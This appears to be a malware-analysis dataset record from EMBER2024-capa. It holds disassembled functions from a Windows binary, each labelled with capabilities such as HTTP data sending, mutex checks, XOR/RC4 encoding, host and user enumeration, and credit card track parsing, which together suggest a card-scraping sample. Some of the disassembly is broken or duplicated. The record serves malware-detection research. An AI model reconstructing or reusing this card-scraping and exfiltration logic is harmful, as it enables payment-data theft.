joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402650
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1a8
xor eax, eax
mov ecx, 0x405738
push ebx
mov edx, dword [esp + 0x1b0]
push esi
push edi
push ebp
cmp dword [ecx], edx
je 0x402678
add ecx, 8
inc eax
cmp ecx, 0x4057c0
jb 0x402668
cmp dword [eax*8 + 0x405738], edx
lea ebx, [eax*8]
jne 0x402833
cmp dword [0x405194], 1
je 0x4027f8
cmp dword [0x405194], 0
jne 0x4026af
cmp dword [0x405198], 1
je 0x4027f8
cmp edx, 0xfc
je 0x402833
lea eax, [esp + 0xb4]
push 0x104
push eax
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
call ebp
test eax, eax
jne 0x4026ec
mov esi, str._program_name_unknown_
lea edi, [esp + 0xb4]
mov ecx, 5
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea ebp, [esp + 0xb4]
lea edi, [esp + 0xb4]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x3c
jbe 0x402730
lea edi, [esp + 0xb4]
mov ecx, 0xffffffff
sub eax, eax
push 3
repne scasb al, byte es:[edi]
not ecx
lea ebp, [esp + ecx + 0x7c]
push 0x40580c
push ebp
call fcn.00402c80
add esp, 0xc
mov esi, str.Runtime_Error__n_nProgram:
lea edi, [esp + 0x14]
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ebp
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x14]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4057ec
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x14]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx + 0x40573c]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
lea edi, [esp + 0x14]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x12010
and ecx, 3
push str.Microsoft_Visual_C_Runtime_Library
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x1c]
push eax
call fcn.00402be0
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x1a8
ret
mov eax, dword [0x407040]
mov esi, dword [eax + 0x10]
cmp esi, 0xffffffff
jne 0x40280f
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
mov edx, dword [ebx + 0x40573c]
push 0
lea eax, [esp + 0x14]
mov edi, edx
push eax
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x1a8
ret
Function at 0x401030
Capabilities:
Delete file
Terminate process

Disassembly:
lea eax, [ebp - 0x200]
push eax
xchg dword [esp + 0xc], eax
call fcn.00402f4b
push edi
push esi
call fcn.00402d22
test eax, eax
je 0x401055
call fcn.00402cb0
jmp 0x4010ec
push 8
push eax
push 9
call fcn.00401068
retf 0xe048
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x401068
Capabilities:
Create thread
Delete file
Terminate process

Disassembly:
lea eax, [ebp - 0x100]
push eax
xchg dword [esp + 0xc], eax
call fcn.00402f4b
push edi
push esi
call fcn.00402d22
test eax, eax
je 0x40108a
call fcn.00402cb0
jmp 0x40109a
call fcn.00402c22
test eax, eax
je 0x4010ec
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [0x4012bb]
xchg dword [esp], eax
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov esi, eax
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [0x4010f4]
xchg dword [esp], eax
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]

Function at 0x40130b
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x104
push dword [ebp + 8]
push eax
lea eax, [ebp - 0x218]
xchg dword [esp], eax
call fcn.00402d98
push eax
push 0x11
call 0x401344
fnstsw word [edi]
cli
pop ebp
or byte [ebx - 0x24], 0x57
or byte [ebx], 0xe1
pop edx
or dword [eax + esi*8], 0x858de741
add bh, bh
invalid

Function at 0x401344
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x104
push dword [ebp + 8]
push eax
lea eax, [ebp - 0x218]
xchg dword [esp], eax
call fcn.00402d98
push eax
push 0x11
call 0x401344
fnstsw word [edi]
cli
pop ebp
or byte [ebx - 0x24], 0x57
or byte [ebx], 0xe1
pop edx
or dword [eax + esi*8], 0x858de741
add bh, bh
invalid

Function at 0x40138b
Capabilities:
Copy file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push eax
lea eax, [ebp - 0x204]
xchg dword [esp], eax
push 0
push 0
push dword [ebp + 0xc]
push 0
call dword [sym.imp.SHELL32.DLL_SHGetFolderPathA]
push eax
lea eax, [ebp - 0x204]
xchg dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x204]
add eax, ecx
mov byte [eax], 0x5c
inc eax
push dword [ebp + 0x10]
push 8
push eax
call fcn.00402cee
push eax
push 5
call 0x4013e1
leave
add ch, ch
push esi
out 0x8d, eax
test dword [eax], eax
invalid
Function at 0x4013e1
Capabilities:
Copy file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push eax
lea eax, [ebp - 0x204]
xchg dword [esp], eax
push 0
push 0
push dword [ebp + 0xc]
push 0
call dword [sym.imp.SHELL32.DLL_SHGetFolderPathA]
push eax
lea eax, [ebp - 0x204]
xchg dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x204]
add eax, ecx
mov byte [eax], 0x5c
inc eax
push dword [ebp + 0x10]
push 8
push eax
call fcn.00402cee
push eax
push 5
call 0x4013e1
leave
add ch, ch
push esi
out 0x8d, eax
test dword [eax], eax
invalid

Function at 0x4014d8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
pushal
lea edi, [ebp - 0x100]
xor ecx, ecx
mov byte [edi + ecx], cl
inc ecx
test cl, cl
jne 0x4014ea
mov esi, dword [ebp + 8]
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, byte [edi + ecx]
add bl, byte [esi + edx]
add bl, al
mov ah, byte [edi + ebx]
mov byte [edi + ecx], ah
mov byte [edi + ebx], al
inc ecx
test cl, cl
je 0x40151d
inc edx
cmp edx, dword [ebp + 0xc]
jne 0x4014fd
xor edx, edx
jmp 0x4014fd
lea edi, [ebp - 0x100]
mov esi, dword [ebp + 0x10]
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
inc bl
mov dl, byte [edi + ebx]
add al, dl
mov cl, byte [edi + eax]
mov byte [edi + ebx], cl
mov byte [edi + eax], dl
add cl, dl
mov cl, byte [edi + ecx]
xor byte [esi], cl
inc esi
dec dword [ebp + 0x14]
jne 0x40152e
popal
leave
ret 0x10

Function at 0x4016e4
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
lea eax, [ebp - 0x200]
push eax
xchg dword [esp + 0xc], eax
call fcn.00402f4b
call dword [sym.imp.WININET.DLL_InternetOpenA]
test eax, eax
je 0x4017f2
mov dword [ebp - 0x20c], eax
push 0
push 0
push 3
push 0
push 0
push dword [0x404070]
push eax
lea eax, [ebp - 0x24c]
xchg dword [esp], eax
push dword [ebp - 0x20c]
call dword [sym.imp.WININET.DLL_InternetConnectA]
test eax, eax
je 0x4017e6
mov dword [ebp - 0x208], eax
push 0
push 0x84000100
push 0
push 0
push 0
push eax
lea eax, [ebp - 0x28c]
xchg dword [esp], eax
push eax
push 5
call fcn.00401760
mov bh, 0x2a
invalid
push dword [ebp - 0x20c]
call dword [sym.imp.WININET.DLL_InternetCloseHandle]
mov eax, ebx
pop esi
pop edi
pop ebx
leave
ret

Function at 0x401760
Capabilities:
Send data
Send http request

Disassembly:
lea eax, [ebp - 0x100]
push eax
xchg dword [esp + 0xc], eax
call fcn.00402f4b
push dword [ebp - 0x208]
call dword [sym.imp.WININET.DLL_HttpOpenRequestA]
test eax, eax
je 0x4017da
mov dword [ebp - 0x204], eax
push dword [0x40155c]
push dword [0x401558]
push 0
push 0
push dword [ebp - 0x204]
call dword [sym.imp.WININET.DLL_HttpSendRequestA]
test eax, eax
je 0x4017ce
push 0x6e00000
push dword [0x401558]
push dword [ebp - 0x204]
call fcn.004017f9
test eax, eax
je 0x4017cc
mov dword [0x40155c], eax
call fcn.0040183c
mov ebx, eax
jmp 0x4017ce
push dword [ebp - 0x204]
call dword [sym.imp.WININET.DLL_InternetCloseHandle]
push dword [ebp - 0x208]
call dword [sym.imp.WININET.DLL_InternetCloseHandle]
Function at 0x4017f9
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push edi
push esi
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 4]
xchg dword [esp], eax
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WININET.DLL_InternetReadFile]
test eax, eax
je 0x401836
mov eax, dword [ebp - 4]
test eax, eax
je 0x401831
add edi, eax
sub esi, eax
jmp 0x401807
mov eax, dword [ebp + 0x10]
sub eax, esi
pop esi
pop edi
leave
ret 0xc

Function at 0x401920
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0x10
push eax
lea eax, [ebp - 4]
xchg dword [esp], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
add dword [ebp + 8], 0x10
mov dword [ebp - 4], 0x20
push eax
lea eax, [ebp - 4]
xchg dword [esp], eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.DLL_GetUserNameA]
leave
ret 4

Function at 0x401a71
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push ebx
push edi
push esi
push eax
lea eax, [ebp - 0x45c]
xchg dword [esp], eax
push 0x208
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
test eax, eax
je 0x401b97
lea edi, [ebp - 0x45c]
add edi, eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
push 8
push edi
call fcn.00402cee
push eax
push 5
call 0x401abe
leave
add ch, ch
push esi
out 0x8d, eax
test dword [eax], eax
invalid
pop esi
pop edi
pop ebx
leave
ret 4

Function at 0x401abe
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
push ebx
push edi
push esi
push eax
lea eax, [ebp - 0x45c]
xchg dword [esp], eax
push 0x208
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
test eax, eax
je 0x401b97
lea edi, [ebp - 0x45c]
add edi, eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
push 8
push edi
call fcn.00402cee
push eax
push 5
call 0x401abe
leave
add ch, ch
push esi
out 0x8d, eax
test dword [eax], eax
invalid
pop esi
pop edi
pop ebx
leave
ret 4

Function at 0x401b5f
Capabilities:
Create process on windows

Disassembly:
lea eax, [ebp - 0x100]
push eax
xchg dword [esp + 0xc], eax
call fcn.00402f4b
push eax
lea eax, [ebp - 0x45c]
xchg dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x20c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]

Function at 0x401e84
Capabilities:
Check mutex on windows

Disassembly:
lea eax, [ebp - 0x100]
push eax
xchg dword [esp + 0xc], eax
call fcn.00402f4b
push eax
lea eax, [ebp - 0x110]
xchg dword [esp], eax
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0xc
push eax
lea eax, [ebp - 0x110]
xchg dword [esp], eax
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
test eax, eax
je 0x401ed9
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xchg ebx, eax
cmp ebx, 0xb7
jne 0x401ed9
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop ebx
leave
ret 4
Function at 0x40208d
Capabilities:
Check for time delay via gettickcount

Disassembly:
lea eax, [ebp - 0x400]
push eax
xchg dword [esp + 0xc], eax
call fcn.00402f4b
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
push 0x1b
call fcn.004020c6
mov dh, 0x10
invalid
Function at 0x402718
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push esi
push edi
mov esi, dword [ebp + 0xc]
cmp byte [esi], 0x33
jne 0x402737
push 0xf
push esi
call fcn.00402b32
test eax, eax
jne 0x40275a
dec esi
cmp byte [esi], 0x36
ja 0x4027df
cmp byte [esi], 0x34
jb 0x4027df
push 0x10
push esi
call fcn.00402b32
test eax, eax
je 0x4027df
cmp byte [esi - 1], 0x42
je 0x402766
cmp byte [esi - 1], 0x62
jne 0x402767
dec esi
cmp byte [esi - 1], 0x25
jne 0x40276e
dec esi
lea edi, [ebp - 0x204]
mov ecx, 0x18
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp eax, 0x5e
je 0x402782
loop 0x402779
mov ecx, 0x1e
lodsb al, byte [esi]
stosb byte es:[edi], al
cmp eax, 0x5e
je 0x402790
loop 0x402787
mov ecx, 0x3c
cmp byte [esi], 0x39
ja 0x4027a3
cmp byte [esi], 0x30
jb 0x4027a3
lodsb al, byte [esi]
stosb byte es:[edi], al
loop 0x402795
cmp byte [esi], 0x3f
jne 0x4027aa
lodsb al, byte [esi]
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
push eax
lea eax, [ebp - 0x204]
xchg dword [esp], eax
push eax
push 8
call fcn.004027c7
mov bl, 0x54
retf 0xa972
pop edi
pop esi
leave
ret 8

Function at 0x4027e5
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push esi
push edi
mov esi, dword [ebp + 0xc]
cmp word [esi], 0x33
jne 0x402805
push 0xf
push esi
call fcn.00402b76
test eax, eax
jne 0x40282b
dec esi
dec esi
cmp word [esi], 0x36
ja 0x4028bf
cmp word [esi], 0x34
jb 0x4028bf
push 0x10
push esi
call fcn.00402b76
test eax, eax
je 0x4028bf
cmp word [esi - 2], 0x42
je 0x402839
cmp word [esi - 2], 0x62
jne 0x40283b
dec esi
dec esi
cmp word [esi - 2], 0x25
jne 0x402844
dec esi
dec esi
lea edi, [ebp - 0x204]
mov ecx, 0x18
lodsw ax, word [esi]
stosb byte es:[edi], al
cmp eax, 0x5e
je 0x402859
loop 0x40284f
mov ecx, 0x1e
lodsw ax, word [esi]
stosb byte es:[edi], al
cmp eax, 0x5e
je 0x402868
loop 0x40285e
mov ecx, 0x3c
cmp word [esi], 0x39
ja 0x40287e
cmp word [esi], 0x30
jb 0x40287e
lodsw ax, word [esi]
stosb byte es:[edi], al
loop 0x40286d
cmp word [esi], 0x3f
jne 0x402887
lodsw ax, word [esi]
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
push eax
lea eax, [ebp - 0x204]
xchg dword [esp], eax
push eax
push 0xb
call fcn.004028a7
mov bl, 0x54
retf 0xa966
pop edi
pop esi
leave
ret 8
Function at 0x4028c5
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push esi
push edi
mov esi, dword [ebp + 0xc]
cmp byte [esi], 0x33
jne 0x4028e4
push 0xf
push esi
call fcn.00402b32
test eax, eax
jne 0x402903
dec esi
cmp byte [esi], 0x36
ja 0x40297e
cmp byte [esi], 0x34
jb 0x40297e
push 0x10
push esi
call fcn.00402b32
test eax, eax
je 0x40297e
cmp byte [esi - 1], 0x3b
je 0x402915
cmp byte [esi - 1], 0x42
je 0x402915
cmp byte [esi - 1], 0x62
jne 0x402916
dec esi
lea edi, [ebp - 0x204]
mov ecx, 0x15
lodsb al, byte [esi]
stosb byte es:[edi], al
loop 0x402921
mov ecx, 0x1a
cmp byte [esi], 0x39
ja 0x402938
cmp byte [esi], 0x30
jb 0x402938
lodsb al, byte [esi]
stosb byte es:[edi], al
loop 0x40292a
cmp byte [esi], 0x3f
je 0x402947
cmp byte [esi], 0x46
je 0x402947
cmp byte [esi], 0x66
jne 0x402949
lodsb al, byte [esi]
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
push eax
lea eax, [ebp - 0x204]
xchg dword [esp], eax
push eax
push 8
call fcn.00402966
mov bl, 0x57
retf 0xa972
pop edi
pop esi
leave
ret 8

Function at 0x402984
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push esi
push edi
mov esi, dword [ebp + 0xc]
cmp word [esi], 0x33
jne 0x4029a4
push 0xf
push esi
call fcn.00402b76
test eax, eax
jne 0x4029ca
dec esi
dec esi
cmp word [esi], 0x36
ja 0x402a54
cmp word [esi], 0x34
jb 0x402a54
push 0x10
push esi
call fcn.00402b76
test eax, eax
je 0x402a54
cmp word [esi - 2], 0x3b
je 0x4029df
cmp word [esi - 2], 0x42
je 0x4029df
cmp word [esi - 2], 0x62
jne 0x4029e1
dec esi
dec esi
lea edi, [ebp - 0x204]
mov ecx, 0x15
lodsw ax, word [esi]
stosb byte es:[edi], al
loop 0x4029ec
mov ecx, 0x1a
cmp word [esi], 0x39
ja 0x402a07
cmp word [esi], 0x30
jb 0x402a07
lodsw ax, word [esi]
stosb byte es:[edi], al
loop 0x4029f6
cmp word [esi], 0x3f
je 0x402a19
cmp word [esi], 0x46
je 0x402a19
cmp word [esi], 0x66
jne 0x402a1c
lodsw ax, word [esi]
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
push eax
lea eax, [ebp - 0x204]
xchg dword [esp], eax
push eax
push 0xb
call fcn.00402a3c
mov bl, 0x57
retf 0xa966
pop edi
pop esi
leave
ret 8

Function at 0x402bba
Capabilities:
Get disk information

Disassembly:
push 0x104
push eax
lea eax, [0x403010]
xchg dword [esp], eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push eax
lea eax, [0x403010]
xchg dword [esp], eax
call fcn.00402de9
mov dword [0x403004], eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
lea eax, [0x403008]
xchg dword [esp], eax
push eax
push eax
call 0x402c00
arpl word [edx], di
pop esp
add bh, bh
adc eax, sym.imp.KERNEL32.DLL_GetVolumeInformationA
lea edx, str.QWERTYASDFZXCVBN
mov eax, dword [0x403008]
xor eax, dword [edx]
xor eax, dword [edx + 4]
xor eax, dword [edx + 8]
xor eax, dword [edx + 0xc]
mov dword [0x40300c], eax
ret
Function at 0x402c00
Capabilities:
Get disk information

Disassembly:
push 0x104
push eax
lea eax, [0x403010]
xchg dword [esp], eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push eax
lea eax, [0x403010]
xchg dword [esp], eax
call fcn.00402de9
mov dword [0x403004], eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
lea eax, [0x403008]
xchg dword [esp], eax
push eax
push eax
call 0x402c00
arpl word [edx], di
pop esp
add bh, bh
adc eax, sym.imp.KERNEL32.DLL_GetVolumeInformationA
lea edx, str.QWERTYASDFZXCVBN
mov eax, dword [0x403008]
xor eax, dword [edx]
xor eax, dword [edx + 4]
xor eax, dword [edx + 8]
xor eax, dword [edx + 0xc]
mov dword [0x40300c], eax
ret

Function at 0x402c22
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0x54535254
push 0xa
push eax
lea eax, [ebp - 0x10]
xchg dword [esp], eax
call fcn.00402cee
push eax
lea eax, [ebp - 0x10]
xchg dword [esp], eax
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
test eax, eax
je 0x402c6b
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xchg ebx, eax
cmp ebx, 0xb7
jne 0x402c6b
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop ebx
leave
ret

Function at 0x402dcd
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
inc eax
test eax, eax
je 0x402de5
dec eax
and eax, 0x10
xor eax, 0x10
leave
ret 4

Function at 0x402de9
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push dword [ebp + 8]
call fcn.00402dcd
test eax, eax
je 0x402e41
xor esi, esi
push 4
push 0x3000
push 0xa00000
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
push 0xa00000
push edi
push dword [ebp + 8]
call fcn.00402eba
cmp eax, 0xffffffff
je 0x402e31
push eax
push edi
push 0
call dword [sym.imp.NTDLL.DLL_RtlComputeCrc32]
mov esi, eax
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, esi
pop esi
pop edi
leave
ret 4

Function at 0x402e47
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push pe_nt_image_headers32
push dword [ebp + 0x14]
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
test eax, eax
js 0x402eb6
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0xffffffff
push 2
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
test eax, eax
js 0x402eaa
push 0
push eax
lea eax, [ebp - 4]
xchg dword [esp], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x402eaa
dec eax
mov dword [ebp - 4], eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 4]
leave
ret 0x10
Function at 0x402eba
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
test eax, eax
js 0x402f29
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0xffffffff
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
test eax, eax
je 0x402f1d
js 0x402f1d
cmp eax, dword [ebp + 0x10]
ja 0x402f1d
push 0
push eax
lea eax, [ebp - 4]
xchg dword [esp], eax
push eax
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x402f1d
dec eax
mov dword [ebp - 4], eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 4]
leave
ret 0xc

Function at 0x402f2d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
pushal
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0x14]
lodsb al, byte [esi]
xor al, dl
stosb byte es:[edi], al
ror edx, 8
loop 0x402f3d
popal
leave
ret 0x10
Function at 0x1007848a
Capabilities:
Encode data using xor

Disassembly:
fiadd dword [esi + 0x5b2fb218]
pushal
insb byte es:[edi], dx
xor al, ch
or eax, 0xf9186911
push edi
sbb byte [ebx + 0x33], bl
xor edx, dword [eax + 0x5f]
xor edx, dword [eax + 0x5f]
or eax, 0x94049adc
sbb dword [0x369bf5e9], edi
dec ecx
rcl byte [esi], 0xdb
cmp dh, byte [ebp - 0x40347ff7]
jg 0x10078478
xchg ebx, eax
loope 0x10078517
sub bl, byte [edx]
js 0x10078478
sahf
and eax, 0x2afde215
loop 0x100784ae
adc eax, 0xe22afde2
loop 0x100784ad
sub ah, dl
sti
mov ecx, 0x925d6c91
out dx, eax
and bl, byte [ebx - 0x7b]
xor eax, 0xb5fdd591
sbb dl, byte [edi + 0x2f]
std
mov ch, 0x1a
push edi
das
mov eax, dword [ebp + 0x22]
mov dh, 0x7a
div ah
not edi
sti
ficomp dword [ebx + 0x2455a82f]
push ds
xchg ebx, eax
cli
add ebp, dword [esi + 4]
pop ebx
jo 0x10078518
jecxz 0x10078510
stc
int 0x52
out dx, al
sub eax, esp
shl dword [0x8ea95169], 0x5a
sbb al, 0x7f
les esi, [edi]
sub eax, 0x9cc3dff2
mov bh, 0xfb
sti
pop edi
js 0x100784f8
and bh, al
jae 0x100784bf
mov ah, 1
insb byte es:[edi], dx
jo 0x10078543